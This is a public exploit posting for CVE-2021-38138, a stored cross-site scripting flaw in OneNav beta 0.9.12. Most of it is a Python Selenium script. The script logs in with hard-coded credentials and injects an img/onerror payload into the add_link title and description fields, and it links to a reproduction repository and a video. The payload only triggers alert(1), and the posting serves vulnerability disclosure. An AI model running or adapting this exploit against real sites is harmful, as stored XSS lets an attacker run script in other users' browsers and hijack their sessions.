Authored by nu11secur1ty

OneNav Beta version 0.9.12 suffers from a persistent cross site scripting vulnerability.

advisories | CVE-2021-38138

# Exploit Title: XSS-Stored - Brutal PWNED on OneNav beta 0.9.12 add_link feature
# Author: nu11secur1ty
# Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r
# Date: 08.06.2021
# Vendor: https://www.xiaoz.me/
# Link: https://github.com/helloxz/onenav/releases/tag/0.9.12
# CVE: CVE-2021-38138

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug and Developement: nu11secur1ty & g3ck0dr1v3r
# CVE-2021-38138

from selenium import webdriver
import time


#enter the link to the website you want to automate login.
website_link="http://192.168.1.120/index.php?c=login"

#enter your login username
username="xiaoz"

#enter your login password
password="xiaoz.me"

#enter the element for username input field
element_for_username="user"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="layui-btn"

browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_class_name(element_for_submit)
signInButton.click()

# Exploit PWNED HTTP Traffic is not filtered. It was a lot of fun :D
time.sleep(3)
browser.get(("http://192.168.1.120/index.php?c=admin&page=add_link"))
time.sleep(3)
browser.execute_script("document.querySelector('[name="url"]').value = '
http://192.168.1.120/index.php?c=admin&page=add_link'")
time.sleep(3)
browser.execute_script("document.querySelector('[name="title"]').value =
'</span><img src=
https://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif
<a href=http://example.com/> onerror=alert(1) /><span>'")

#button1
browser.execute_script("document.querySelector('[class="layui-edge"]').click()")
time.sleep(1)

# button2 using $ because querySelector cannot parse dd selector
browser.execute_script("$('dd[lay-value=19]').click()")

time.sleep(1)
browser.execute_script("document.querySelector('[name="description"]').value
= '</span><img src=
https://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif
<a href=http://example.com/> onerror=alert(1) /><span>'")

#submit button3
browser.execute_script("document.querySelector('[class="layui-btn"]').click()")
time.sleep(1)
browser.maximize_window()
browser.get(("http://192.168.1.120/index.php?c=admin&page=link_list"))

print("payload is deployed...n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")


----------------------------------------------------------------------------------------

# Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38138
# Proof: https://streamable.com/ubtzio